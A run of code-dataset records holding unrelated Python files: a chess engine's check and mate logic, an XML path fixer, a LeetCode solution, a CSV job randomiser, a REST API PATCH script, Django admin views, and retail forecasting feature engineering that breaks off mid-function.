королю\n # Если короля атакуют сразу две фигуры противника, защитить короля не возможно\n defend_king = not self.double_attack and \\\n (self.under_attack(row, col, self.current_player_color(), self.get_current_king_coords()) or\n any(self.can_be_occupied(*i, self.current_player_color(), self.get_current_king_coords())\n for i in way_to_king))\n\n # Если игрок может передвинуть короля или защитить короля, ему поставили шах, иначе - мат\n if self.king_escapes_attack() or defend_king:\n return CHECK\n else:\n return MATE\n else:\n return None\n\n def king_can_be_attacked(self, row, col):\n \"\"\"Если король текущего игрока быть атакован через клетку (row, col),\n метод возвращает координаты фигуры, которая может это сделать.\n Иначе, метод возвращает False.\"\"\"\n row_king, col_king = self.get_current_king_coords()\n\n # Непосредственно в клетке стоит фигура, угрожающая королю\n if self.field[row][col] and self.field[row][col].get_color() == self.opponent_color() and \\\n self.field[row][col].can_attack(self, row, col, row_king, col_king):\n return row, col\n\n # Через клетку нельзя атаковать короля\n if not Queen(None).can_move(self, row, col, row_king, col_king):\n return False\n\n # Через клетку можно атаковать короля по диагонали\n if abs(col - col_king) == abs(row - row_king):\n step_row = -1 if row < row_king else 1\n step_col = -1 if col < col_king else 1\n\n # Идём по диагонали в противоположную от короля сторону, пока не встертим другую фигуру\n while 0 < row < 7 and 0 < col < 7:\n row += step_row\n col += step_col\n if self.field[row][col]:\n # Встреченная фигура принадлежит противнику и она может атаковать по диагонали\n if self.field[row][col].attack_diag_line() and self.field[row][col].get_color() == \\\n self.opponent_color():\n return row, col\n else:\n return False\n\n # Через клетку можно атаковать короля по горизонтали\n elif row == row_king:\n start = col + 1 if col > col_king else col - 1\n end = 8 if col > col_king else -1\n step = 1 if col > col_king else -1\n\n for j in range(start, end, step):\n if self.field[row][j]:\n if self.field[row][j].attack_straight_line() and self.field[row][j].get_color() == \\\n self.opponent_color():\n return row, j\n else:\n return False\n\n # Через клетку можно атаковать короля по вертикали\n else:\n start = row + 1 if row > row_king else row - 1\n end = 8 if row > row_king else -1\n step = 1 if row > row_king else -1\n\n for i in range(start, end, step):\n if self.field[i][col]:\n if self.field[i][col].attack_straight_line() and self.field[i][col].get_color() == \\\n self.opponent_color():\n return i, col\n else:\n return False\n\n return False\n\n\nclass Figure:\n def __init__(self, color):\n self.color = color\n\n def can_move(self, board, row, col, row1, col1):\n \"\"\"Метод проверяет, может ли фигура переместиться из клетки (row, col) в клетку (row1, col1)\n с учетом фигур между этими клетками.\"\"\"\n return False\n\n def can_attack(self, board, row, col, row1, col1):\n \"\"\"Метод аналогичен 'can_move' для всех фигур, за исключением пешки.\"\"\"\n return False\n\n def get_color(self):\n return self.color\n\n def straight_move(self, board, row, col, row1, col1):\n \"\"\"Метод проверяет, можно ли движением по вертикали или горизонтали\n добраться из клетки (row, col) в клетку (row1, col1).\"\"\"\n step = 1 if (row1 >= row) else -1\n for i in range(row + step, row1, step):\n # Если на пути по горизонтали есть фигура\n if board.field[i][col]:\n return False\n\n step = 1 if (col1 >= col) else -1\n for j in range(col + step, col1, step):\n # Если на пути по вертикали есть фигура\n if board.field[row][j]:\n return False\n return True\n\n def diag_move(self, board, row, col, row1, col1):\n \"\"\"Метод проверяет, можно ли движением по диагонали\n добраться из клетки (row, col) в клетку (row1, col1).\"\"\"\n if abs(col - col1) == abs(row - row1):\n if col1 > col:\n step = 1 if row1 > row else -1\n start_row = row\n else:\n step = 1 if row1 < row else -1\n start_row = row1\n\n param = 0\n for i in range(min(col, col1) + 1, max(col, col1)):\n param += step\n if board.field[start_row + param][i] is not None:\n return False\n return True\n\n def attack_straight_line(self):\n \"\"\"Метод возвращает True если фигура может двигаться на любое кол-во клеток\n по горизонтали или вертикали.\"\"\"\n return False\n\n def attack_diag_line(self):\n \"\"\"Метод возвращает True если фигура может двигаться на любое кол-во клеток\n по диагонали.\"\"\"\n return False\n\n\nclass Rook(Figure):\n def __init__(self, color):\n super().__init__(color)\n self.moved = False # Атрибут для отслеживания возможности рокировки\n\n def can_move(self, board, row, col, row1, col1):\n # Невозможно сделать ход в клетку, которая не лежит в том же ряду\n # или столбце клеток.\n if row != row1 and col != col1:\n return False\n return self.straight_move(board, row, col, row1, col1)\n\n def can_attack(self, board, row, col, row1, col1):\n return self.can_move(board, row, col, row1, col1)\n\n def already_moved(self):\n self.moved = True\n\n def attack_straight_line(self):\n return True\n\n def move_status(self):\n return self.moved\n\n\nclass Pawn(Figure):\n def can_move(self, board, row, col, row1, col1):\n if col != col1:\n return False\n\n # Пешка может сделать из начального положения ход на 2 клетки\n # вперёд, поэтому поместим индекс начального ряда в start_row.\n if self.color == WHITE:\n direction = 1\n start_row = 1\n else:\n direction = -1\n start_row = 6\n\n # ход на 1 клетку\n if row + direction == row1:\n return True\n\n # ход на 2 клетки из начального положения\n if (row == start_row\n and row + 2 * direction == row1\n and board.field[row + direction][col] is None):\n return True\n\n return False\n\n def can_attack(self, board, row, col, row1, col1):\n direction = 1 if (self.color == WHITE) else -1\n return (row + direction == row1\n and (col + 1 == col1 or col - 1 == col1))\n\n\nclass Knight(Figure):\n def can_move(self, board, row, col, row1, col1):\n return {2, 1} == {abs(row - row1), abs(col - col1)}\n\n def can_attack(self, board, row, col, row1, col1):\n return self.can_move(board, row, col, row1, col1)\n\n\nclass King(Figure):\n def __init__(self, color):\n super().__init__(color)\n self.moved = False # Атрибут для отслеживания возможности рокировки\n\n def can_move(self, board, row, col, row1, col1):\n return {0, 1} == {abs(row - row1), abs(col - col1)} \\\n or {1, 1} == {abs(row - row1), abs(col - col1)}\n\n def can_attack(self, board, row, col, row1, col1):\n return self.can_move(board, row, col, row1, col1)\n\n def already_moved(self):\n self.moved = True\n\n def move_status(self):\n return self.moved\n\n\nclass Queen(Figure):\n def can_move(self, board, row, col, row1, col1):\n if abs(col - col1) == abs(row - row1):\n return self.diag_move(board, row, col, row1, col1)\n elif row == row1 or col == col1:\n return self.straight_move(board, row, col, row1, col1)\n return False\n\n def can_attack(self, board, row, col, row1, col1):\n return self.can_move(board, row, col, row1, col1)\n\n def attack_straight_line(self):\n return True\n\n def attack_diag_line(self):\n return True\n\n\nclass Bishop(Figure):\n def can_move(self, board, row, col, row1, col1):\n if abs(col - col1) == abs(row - row1):\n return self.diag_move(board, row, col, row1, col1)\n return False\n\n def can_attack(self, board, row, col, row1, col1):\n return self.can_move(board, row, col, row1, col1)\n\n def attack_diag_line(self):\n return True\n\n\n# Константы цветов\nWHITE = 1\nBLACK = 2\n\n# Константы шаха и мата\nCHECK = 0\nMATE = 1","sub_path":"PyGame-Chess/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":30831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"573590972","text":"import os\r\nimport cv2\r\nfrom PIL import Image\r\nimport numpy as np\r\nimport xml.etree.ElementTree as ET\r\npath = \"/media/shuhao/harddisk1/data/0611/xml/Changtao/\" # 文件夹目录\r\nfiles = os.listdir(path) # 得到文件夹下的所有文件名称\r\nfilePath = []\r\nfor filename in files:\r\n filePath.append(path + filename)\r\nfor fileEverPath in filePath:\r\n tree = ET.parse(fileEverPath)\r\n root = tree.getroot()\r\n path_text = root.find('path').text\r\n all_part=path_text.split('\\\\')\r\n root.find('path').text=\"/media/shuhao/harddisk1/data/0611/images/changtao/\"+all_part[-1]\r\n tree.write(fileEverPath)","sub_path":"data_tools/xml修改路径.py","file_name":"xml修改路径.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"522298424","text":"class Solution(object):\n def summaryRanges(self, nums):\n start, end, n = 0, 0, len(nums)\n answer = []\n while start < n and end < n:\n if end < n - 1 and nums[end + 1] == nums[end] + 1:\n end += 1\n else:\n if start == end:\n answer.append('%d' % nums[start])\n else:\n answer.append('%d->%d' % (nums[start], nums[end]))\n start = end = end + 1\n return answer\n","sub_path":"python/Summary Ranges.py","file_name":"Summary Ranges.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"538521983","text":"# Team Blue Bird\n# Pak Ming Lau (with Constance Chen and Ryan Ma)\n# SoftDev\n# K07 -- Stl/O: Divine your Destiny!\n# Reads from a file containing jobs and their percentages and then using those percentages to weight each job and give a random job\n# 2020-10-02\n\nimport random\n\n# reading from a file\nf = open(\"occupations.csv\")\nfile = f.read()\nf.close()\n\ndict = {}\n\n# splits the file into a 2d array in which\n# i[0] is the job and i[1] is the percentage\nfile = file.split(\"\\n\")\nfor i in range(len(file) - 1):\n if(file[i][0] == '\"'): #special case where the job's name has a comma\n file[i] = file[i][1::]\n file[i] = file[i].split('\",')\n else:\n file[i] = file[i].split(',')\n\ntotal = float(file[len(file) - 2][1]) # save the total percentage\nfile = file[1:len(file) - 2] # delete the first and last entry (description and total)\n\n# puts array entries into the dictionary\n# converts percentages from strings to floats\nfor i in range(len(file)):\n dict.update({file[i][0] : float(file[i][1])})\n\n# turns percentages to ranges\npastValues = 0\nfor i in dict:\n dict[i] += pastValues\n pastValues = dict[i]\n\n# rounds the percentages to the nearest tenth\n# it was separated from the above for loop because some percentages wouldn't round\nfor i in dict:\n dict[i] = round(dict[i], 1)\n\n# returns a random job given a weighted percentage\ndef randomJob():\n randomFloat = round(random.uniform(.1, total), 1)\n for i in dict:\n if(randomFloat <= dict[i]):\n print(i)\n break\n\nrandomJob()\n","sub_path":"07_py-csv/07_py-csv.py","file_name":"07_py-csv.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"230909721","text":"import requests\nfrom requests.auth import HTTPBasicAuth\n\n\n# query one by id\n#url = 'http://10.20.0.20:80/api/v3/blueprints/myos'\nheaders = {'Tenant': 'default_tenant', 'Content-Type':'application/json'}\nquerystring = {'_include': 'id,description'}\n\n#resp = requests.get(\n# url, auth=HTTPBasicAuth('admin', 'admin'), headers=headers,\n# params=querystring,\n#)\n\n\nurl = 'http://10.20.0.20:80/api/v3/vnf_pkgs/test_vnf_pkg'\nresp = requests.patch(\n url, auth=HTTPBasicAuth('admin', 'admin'), headers=headers,\n #json={\"type\": \"vmware\", \"inputs\": \"{'username':'demo','password':'222222','auth_url':'http://10.20.0.10:5000/v3','project_name':'demo','user_domain_id':'default','project_domain_id':'default'}\"}, \n json={\"action\": \"deactive\", \"img_url\": \"/tmp/cirros.img\"}\n) \n\nprint(resp.status_code)\nprint(resp.text)\n\n\n","sub_path":"env/test_rest/vnf_pkg_patch.py","file_name":"vnf_pkg_patch.py","file_ext":"py","file_size_in_byte":825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"349197566","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render\nfrom rest_framework import viewsets, status\nfrom super_admin.serializers import *\nfrom rest_framework.response import Response\nfrom django.urls import reverse\nfrom django.shortcuts import redirect\nfrom rest_framework.decorators import api_view\nfrom utils.common import *\nfrom utils.mail import *\nfrom django.contrib.auth.hashers import make_password\nfrom django.conf import settings\nfrom rest_framework.views import APIView\n\n# Create your views here.\nclass RoleViewSet(viewsets.ModelViewSet):\n\n \"\"\"\n retrieve:\n Retrieve the particular Role.\n\n list:\n Retrieve all the Role.\n\n create:\n Create the Role.\n\n update:\n Update the Role.\n\n partial_update:\n Partial update the Role.\n\n destroy:\n Delete the Role.\n \"\"\"\n\n serializer_class = RoleSerializer\n queryset = Role.objects.filter(visibility=True)\n\n\nclass CountryViewSet(viewsets.ModelViewSet):\n\n \"\"\"\n retrieve:\n Retrieve the particular Country.\n\n list:\n Retrieve all the Country.\n\n create:\n Create the Country.\n\n update:\n Update the Country.\n\n partial_update:\n Partial update the Country.\n\n destroy:\n Delete the Country.\n \"\"\"\n\n serializer_class = CountrySerializer\n queryset = Country.objects.all()\n\n def create(self, request, *args, **kwargs):\n many = isinstance(request.data, list)\n serializer = self.get_serializer(data=request.data, many=many)\n serializer.is_valid(raise_exception=True)\n self.perform_create(serializer)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n\nclass OrganizationViewSet(viewsets.ModelViewSet):\n\n \"\"\"\n retrieve:\n Retrieve the particular Organization.\n\n list:\n Retrieve all the Organization.\n\n update:\n Update the Organization.\n\n partial_update:\n Partial update the Organization.\n\n destroy:\n Delete the Organization.\n \"\"\"\n\n serializer_class = OrganizationSerializer\n queryset = Organization.objects.all()\n http_method_names = ['get', 'put', 'patch', 'delete']\n\n def retrieve(self, request, *args, **kwargs):\n instance = self.get_object()\n serializer = OrganizationRetrieveSerializer(instance, context={'request': request})\n return Response(serializer.data)\n\n\nclass CustomerViewSet(viewsets.ModelViewSet):\n\n \"\"\"\n create:\n Create the Customer.\n\n retrieve:\n Retrieve the particular Customer.\n\n list:\n Retrieve all the Customer.\n\n update:\n Update the Customer.\n\n partial_update:\n Partial update the Customer.\n\n destroy:\n Delete the Customer.\n \"\"\"\n\n serializer_class = CustomerSerializer\n queryset = User.objects.filter(role__visibility=True)\n http_method_names = ['get', 'post', 'head', 'put', 'patch']\n\n def get_serializer_class(self):\n serializer_class = self.serializer_class\n\n if self.request.method == 'GET':\n serializer_class = CustomerGetSerializer\n\n return serializer_class\n\n def create(self, request, *args, **kwargs):\n # Create a organization and getting id to map it to user\n organization, org_status = Organization.objects.get_or_create(name=request.data['organization'], disk_space=request.data['disk_space'])\n\n if org_status and request.data['org_logo']:\n organization.org_logo = request.data['org_logo']\n organization.save()\n\n # Assign the organization and hasing the password to user and create a new user\n request.data['organization'] = organization.id\n password = password_generate(request.data.get('first_name'))\n request.data['password'] = make_password(password, salt=settings.PASSWORD_SALT)\n\n request.data['active'] = False\n\n serializer = self.get_serializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n new_user = serializer.save()\n\n if new_user:\n mail_activation = activation_mail(data=new_user, host=request.get_host(), url=reverse(validate_url), password=password)\n if mail_activation == 202:\n return Response(\"Registered Successfully\", status=status.HTTP_201_CREATED)\n else:\n return Response(\"Error while sending mail\", status=status.HTTP_400_BAD_REQUEST)\n else:\n return Response(\"Error while insert\", status=status.HTTP_400_BAD_REQUEST)\n\n\n@api_view([\"GET\"])\ndef validate_url(request):\n\n \"\"\"\n Validate the token to verify valid user or not\n \"\"\"\n\n if request.method == \"GET\":\n token = request.GET.get('id')\n user_detail = token_decode(encoded_data=token)\n if user_detail :\n for val in User.objects.filter(id=user_detail.get('id')):\n if not val.active:\n val.active = True\n val.save()\n return redirect(settings.FRONT_END_URLS.get(\"login\")+\"?status=200\")\n else:\n return redirect(settings.FRONT_END_URLS.get(\"login\")+\"?status=400\")\n else:\n return redirect(settings.FRONT_END_URLS.get(\"login\")+\"?status=400\")\n\n\nclass DashboardView(APIView):\n \"\"\"\n Return a Super Admin Dashboard top card details API\n \"\"\"\n def get(self, request):\n data = {\n 'customer' : Organization.objects.all().count(),\n 'user' : User.objects.all().count(),\n 'course' : Course.objects.all().count(),\n 'memory' : 0\n }\n return Response(data, status=status.HTTP_200_OK)\n\n\nclass DashboardGraphView(APIView):\n \"\"\"\n Return a Super Admin Dashboard Role based user cound and Active user details API\n \"\"\"\n def get(self, request):\n response_data = {}\n user_role_count = []\n\n # Role Based User Count\n for val in Role.objects.filter(visibility=True):\n user_count = User.objects.filter(role=val.id).count()\n user_role_count.append({\n \"label\" : str(val.name),\n \"value\" : user_count\n })\n response_data.update({\"user_role_count\" : user_role_count})\n\n # Active User count based on year or month\n from django.db.models.functions import TruncDate\n from django.db.models import Count\n from administrator.models import UserLog\n\n active_user = UserLog.objects.filter(time_end=None).annotate(label=TruncDate('time_start')).values('label').annotate(value=Count('user_id')).order_by()\n response_data.update({\"active_user\": active_user})\n\n return Response(response_data, status=status.HTTP_200_OK)","sub_path":"super_admin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"258456523","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 17 19:28:46 2020\n\n\"\"\"\n\nimport time\nimport numpy as np\nimport pandas as pd\nimport sklearn as sk\nimport math\nimport os\nimport csv\n\nimport tqdm\nimport itertools\nimport os\n\nfrom pandas import Series\nfrom pandas import DataFrame\nfrom pandas import concat\n\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.ensemble.forest import RandomForestRegressor\n\nfrom sklearn.linear_model import Lasso\nfrom sklearn.linear_model import LassoCV\nfrom sklearn.linear_model import LinearRegression\n\nfrom sklearn.model_selection import RandomizedSearchCV\nfrom sklearn.model_selection import GridSearchCV\n\nfrom sklearn.feature_selection import SelectFromModel\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import chi2\nfrom sklearn.feature_selection import f_regression\n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn import neighbors\n\nfrom sklearn.metrics import mean_squared_error\nfrom math import sqrt\nimport pandas as pd\nfrom sklearn.model_selection import cross_val_score\n\npd.set_option('display.max_rows', 120)\n#dir_path = os.path.dirname(os.path.realpath(__file__))\n\nimport os\nimport pandas as pd\nimport multiprocessing as mp\nimport os\nimport concurrent.futures\n\nimport sys\nimport logging\nimport time\n\n\ndef logging_(path): \n logging.getLogger('fbprophet').setLevel(logging.WARNING)\n for handler in logging.root.handlers[:]:\n logging.root.removeHandler(handler)\n logging.basicConfig(level=logging.INFO, filename= path, filemode = 'w', format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')\n\n\ndef HADS_data(path):\n df = pd.read_csv(path, delimiter= ',')\n df['TRDNG_WK_END_DT'] = pd.to_datetime(df['TRDNG_WK_END_DT'], infer_datetime_format = True)\n gb = df.groupby(['territory', 'KEY'])\n dataframes = [gb.get_group(x) for x in gb.groups]\n return df , dataframes\n\n\ndef LADS_data(path):\n df = pd.read_csv(path, delimiter= ',')\n df['TRDNG_WK_END_DT'] = pd.to_datetime(df['TRDNG_WK_END_DT'], infer_datetime_format = True)\n gb = df.groupby(['territory', 'KEY'])\n dataframes = [gb.get_group(x) for x in gb.groups]\n return df , dataframes\n\n\n\n\n\ndef get_feature_type(featDF):\n print(\"[IN] function to get categorical / continuous feature list : get_feature_type\")\n \n catg_features = []\n contd_features = []\n cnst_features = []\n \n featDF = pd.DataFrame(featDF.fillna(0))\n \n for col in featDF.columns:\n \n uniqueVal = len(pd.unique(featDF[[col]].values.ravel()))\n \n if (uniqueVal == 2):\n \n catg_features.append(col)\n \n elif (uniqueVal == 1):\n \n cnst_features.append(col) \n \n else:\n \n contd_features.append(col)\n \n print(\"[OUT] function to get categorical / continuous feature list : get_feature_type\")\n return catg_features , contd_features , cnst_features\n\n\n\n\n\"\"\"\n#create year/month/week index from date stamp\n#create month/yearly seasonal index from historical sales\n\"\"\" \ndef season_index_features(ssn_df): \n print(\"[IN] get season index on HADS data : season_index_features\")\n \n ssn_df['TRDNG_WK_STRT_DT'] = pd.to_datetime(ssn_df['TRDNG_WK_STRT_DT'],format='%d%b%Y')\n ssn_df['TRDNG_WK_END_DT'] = pd.to_datetime(ssn_df['TRDNG_WK_END_DT'],format='%d%b%Y')\n\n ssn_df['YEAR_ID'] = ssn_df['TRDNG_WK_STRT_DT'].dt.year\n ssn_df['MONTH_ID'] = ssn_df['TRDNG_WK_STRT_DT'].dt.month\n ssn_df['MON_WK_ID'] = 1\n ssn_df['MON_WK_ID'] = ssn_df.groupby(['territory','KEY','YEAR_ID','MONTH_ID'])['MON_WK_ID'].apply(lambda x: x.cumsum())\n\n TerrCATGMonthAVG = pd.DataFrame({'month_avg' : ssn_df.groupby(['GRP_NM','DPT_NM','CLSS_NM','SUB_CLSS_NM','MONTH_ID'])['RTL_QTY'].apply(lambda x: x.mean())}).reset_index()\n\n TerrCATGoAVG = pd.DataFrame({'all_avg' : ssn_df.groupby(['GRP_NM','DPT_NM','CLSS_NM','SUB_CLSS_NM'])['RTL_QTY'].apply(lambda x: x.mean())}).reset_index()\n\n TerrCATGrAVG = ssn_df[ssn_df['YEAR_ID'] == ssn_df['YEAR_ID'].max()]\n TerrCATGrAVG = pd.DataFrame({'rcnt_avg' : TerrCATGrAVG.groupby(['GRP_NM','DPT_NM','CLSS_NM','SUB_CLSS_NM'])['RTL_QTY'].apply(lambda x: x.mean())}).reset_index()\n \n TerrCATGMonthAVG = pd.merge(TerrCATGMonthAVG, TerrCATGoAVG, on=['GRP_NM','DPT_NM','CLSS_NM','SUB_CLSS_NM'], how='left')\n TerrCATGMonthAVG = pd.merge(TerrCATGMonthAVG, TerrCATGrAVG, on=['GRP_NM','DPT_NM','CLSS_NM','SUB_CLSS_NM'], how='left')\n\n TerrCATGMonthAVG['CATG_SSN_ID_O'] = TerrCATGMonthAVG['month_avg'] / TerrCATGMonthAVG['all_avg']\n TerrCATGMonthAVG['CATG_SSN_ID_R'] = TerrCATGMonthAVG['month_avg'] / TerrCATGMonthAVG['rcnt_avg']\n\n TerrCATGMonthAVG = TerrCATGMonthAVG.drop(['month_avg','all_avg','rcnt_avg'],1)\n\n #ssn_df = pd.merge(ssn_df, TerrCATGMonthAVG, on=['GRP_NM','DPT_NM','CLSS_NM','SUB_CLSS_NM','MONTH_ID'], how='left')\n \n #return ssn_df, TerrCATGMonthAVG\n print(\"[OUT] get season index on HADS data : season_index_features\")\n return TerrCATGMonthAVG\n\n\"\"\"\ncreate date since last event feature for binary event variables\n\"\"\"\ndef days_since_last_event(dsle_df, dvar_list,primary_key):\n print(\"[IN] create days since last event features : days_since_last_event\")\n \n dsle_df = dsle_df.sort_values(by=primary_key)\n \n for dvar in dvar_list:\n \n if dvar in dsle_df.columns:\n \n dsle_var = (dvar + '_' + 'DSLE')\n \n dsle_df['dvar_dummy1'] = dsle_df.groupby(['territory','KEY'])[dvar].apply(lambda x: x != x.shift(1)).cumsum()\n dsle_df['dvar_dummy'] = dsle_df.groupby(['territory','KEY','dvar_dummy1']).cumcount()+1\n \n dsle_df[dsle_var] = dsle_df['dvar_dummy']*7\n dsle_df.loc[(dsle_df[dvar] == 1) | (dsle_df[dsle_var] > 60), [dsle_var]] = 0\n\n dsle_df = dsle_df.drop(['dvar_dummy1','dvar_dummy'],1)\n \n print(\"[OUT] create days since last event features : days_since_last_event\")\n return dsle_df\n\n\"\"\"\ncreate lagged terms for binary variables mostly seasonal / promotional event\n\"\"\"\ndef binary_lag_features(bvar_df, bvar_list,primary_key):\n print(\"[IN] create binary lag terms of event features (eg. Ramadan) : binary_lag_features\")\n \n bvar_df = bvar_df.sort_values(by=primary_key)\n \n for bvar in bvar_list:\n \n if bvar in bvar_df.columns:\n \n bvar_df['bvar_dummy1'] = bvar_df.groupby(['territory','KEY'])[bvar].apply(lambda x: x != x.shift(1)).cumsum() \n bvar_df['bvar_dummy'] = bvar_df.groupby(['territory','KEY','bvar_dummy1']).cumcount()+1\n\n bvar_df.loc[bvar_df[bvar] == 0, 'bvar_dummy'] = 0\n\n bvar_dummy = bvar_df.loc[bvar_df['bvar_dummy'] != 0, 'bvar_dummy'].unique()\n \n for lag_term in bvar_dummy:\n \n lagged_bvar = (bvar + '_' + str(lag_term))\n \n bvar_df[lagged_bvar] = bvar_df['bvar_dummy'].apply(lambda x: 1 if x == lag_term else 0)\n \n #bvar_df = bvar_df.drop(['bvar_dummy1','bvar_dummy',bvar],1)\n bvar_df = bvar_df.drop(['bvar_dummy1','bvar_dummy'],1)\n \n print(\"[OUT] create binary lag terms of event features (eg. Ramadan) : binary_lag_features\")\n return bvar_df\n \n\"\"\"\ncreate lagged terms for continuos variables\n\"\"\" \ndef continuous_lag_features(cvar_df, cvar_list, cvar_lag,primary_key):\n print(\"[IN] create normal lag terms of features (eg. DISC_PER) : continuous_lag_features\")\n \n cvar_df = cvar_df.sort_values(by=primary_key)\n \n for cvar in cvar_list:\n \n if cvar in cvar_df.columns:\n \n for lag_term in range(cvar_lag):\n\n lagged_cvar = (cvar + '_' + str(lag_term+1))\n \n cvar_df[lagged_cvar] = cvar_df.groupby(['territory','KEY'])[cvar].shift(lag_term+1)\n \n print(\"[OUT] create normal lag terms of features (eg. DISC_PER) : continuous_lag_features\")\n return cvar_df\n\n\"\"\"\ncreate fourier term (sine + consine) as independent variable\n\"\"\" \ndef fourier_term_features(fft_df, fterm,primary_key):\n print(\"[IN] create fourier term features : fourier_term_features\")\n \n fft_df = fft_df.sort_values(by=primary_key)\n \n fft_df['T_index'] = 1\n fft_df['T_index'] = fft_df.groupby(['territory','KEY'])['T_index'].cumsum()\n \n for i in range(fterm):\n \n for j in range(fterm):\n \n ft_var1 = ('FT_S' + str(i+1) + str(j+1))\n ft_var2 = ('FT_C' + str(i+1) + str(j+1))\n ft_var = ('FT_' + str(i+1) + str(j+1))\n \n fft_df[ft_var1] = np.sin((2*np.pi*(i+1)*fft_df['T_index'])/52)\n fft_df[ft_var2] = np.cos((2*np.pi*(j+1)*fft_df['T_index'])/52)\n fft_df[ft_var] = fft_df[ft_var1] + fft_df[ft_var2]\n\n fft_df = fft_df.drop([ft_var1,ft_var2],1)\n \n fft_df = fft_df.drop('T_index',1)\n\n print(\"[OUT] create fourier term features : fourier_term_features\")\n return fft_df\n\n\"\"\"\ncreate time series lag term and lag avg. category sales ratio as features\n\"\"\" \ndef ts_lag_features(lag_df, lag_range,primary_key):\n print(\"[IN] create time series lag term features : ts_lag_features\")\n \n lag_df = lag_df.sort_values(by=primary_key)\n \n for i in range(lag_range):\n \n lag_col = ('RTL_LAG' + str(i+1))\n catg_sls_col = ('CATG_SLS_RATIO' + str(i+1))\n \n lag_df[lag_col] = lag_df.groupby(['territory','KEY'])['RTL_QTY'].shift(i+1)\n \n #TerrCATGwkSLS = pd.DataFrame({'CATG_RTL_QTY' : lag_df.groupby(['territory','GRP_NM','DPT_NM','CLSS_NM','SUB_CLSS_NM','YEAR_ID','MONTH_ID','MON_WK_ID'])[lag_col].apply(lambda x: x.sum())}).reset_index()\n \n #lag_df = pd.merge(lag_df, TerrCATGwkSLS, on=['territory','GRP_NM','DPT_NM','CLSS_NM','SUB_CLSS_NM','YEAR_ID','MONTH_ID','MON_WK_ID'], how='left')\n #lag_df[catg_sls_col] = lag_df[lag_col] / lag_df['CATG_RTL_QTY']\n \n #lag_df = lag_df.drop('CATG_RTL_QTY',1)\n \n print(\"[OUT] create time series lag term features : ts_lag_features\")\n return lag_df\n \n\"\"\"\ncreate basic stats ie. min/max/mean of the lag term as features\n\"\"\" \ndef lag_stat_features(lag_df, lag_range,primary_key):\n print(\"[IN] create ts lag term MIN/MAX/MEAN features : lag_stat_features\")\n \n lag_df = lag_df.sort_values(by=primary_key)\n\n for j in range(lag_range-1):\n \n lag_min = ('RTL_LAG_MIN' + str(j+1))\n lag_max = ('RTL_LAG_MAX' + str(j+1))\n lag_mean = ('RTL_LAG_MEAN' + str(j+1))\n# mean_col_base = inputDFforecast.columns.get_loc('RTL_QTY')\n mean_col_strt = lag_df.columns.get_loc('RTL_LAG' + str(1))\n mean_col_end = lag_df.columns.get_loc('RTL_LAG' + str(j+2))+1\n mean_col = list(range(mean_col_strt, mean_col_end))\n# mean_col.append(mean_col_base)\n lag_df[lag_min] = lag_df.iloc[:,mean_col].min(axis=1, skipna=0)\n lag_df[lag_max] = lag_df.iloc[:,mean_col].max(axis=1, skipna=0)\n lag_df[lag_mean] = lag_df.iloc[:,mean_col].mean(axis=1, skipna=0)\n print(\"[OUT] create ts lag term MIN/MAX/MEAN features : lag_stat_features\")\n return lag_df\n\n\n\"\"\"\nPearson Correlation based feature selection\n\"\"\" \n#CORR_feature_selection(impFS_X, impFS_Y, all_var_list) \n#corrFS_X, corrFS_Y, corrFS_list = impFS_X, impFS_Y, all_var_list \ndef CORR_feature_selection(corrFS_X, corrFS_Y, corrFS_list):\n print(\"[IN] pearson correlation feature selection : CORR_feature_selection\")\n \n corrFS_X = pd.DataFrame(corrFS_X.fillna(0))\n \n vars_0dev = corrFS_X.loc[:, corrFS_X.std() == 0].columns.values\n \n print(vars_0dev)\n \n corrFS_list = list(set(corrFS_list) - set(vars_0dev))\n #Editing the filteration\n corrFS_X = corrFS_X.loc[:, [i for i in corrFS_list if i in corrFS_X.columns]]\n \n corrFS_sel = []\n # calculate the correlation with y for each feature\n for i in corrFS_X.columns.tolist():\n print(i) \n corrFS = np.corrcoef(corrFS_X[i], corrFS_Y.values.ravel())[0, 1]\n corrFS_sel.append(corrFS)\n \n # replace NaN with 0\n corrFS_sel = [0 if np.isnan(i) else i for i in corrFS_sel]\n \n # get feature name\n corr_feature = corrFS_X.iloc[:,np.argsort(np.abs(corrFS_sel))[-125:]].columns.tolist()\n \n print(corr_feature)\n print(\"[OUT] pearson correlation feature selection : CORR_feature_selection\")\n return corr_feature\n\n\"\"\"\nRandom Forest (RF) based feature selection\n\"\"\" \n#rfFS_X, rfFS_Y, rfFS_list=impFS_X, impFS_Y, CORR_feature_list\n\ndef RF_feature_selection(rfFS_X, rfFS_Y, rfFS_list):\n print(\"[IN] random forest feature selection : RF_feature_selection\")\n\n rfFS_X = pd.DataFrame(rfFS_X.fillna(0))\n \n #Test_y_rf = pd.DataFrame([1]*217,columns = ['RTL_QTY'])\n #rfFS_Y = Test_y_rf\n rfFS_Y = pd.DataFrame(rfFS_Y.fillna(method = 'backfill'))\n rf_obj = RandomForestRegressor(n_estimators = 500, bootstrap = True, max_features = 'auto',random_state=0)\n #rfFS_model = SelectFromModel(rfc_obj, threshold=0.01, max_features=25)\n rfFS_model = SelectFromModel(rf_obj) \n rfFS_model.fit(rfFS_X, rfFS_Y.values.ravel())\n rf_feature = rfFS_X.columns[(rfFS_model.get_support())]\n\n print(rf_feature)\n 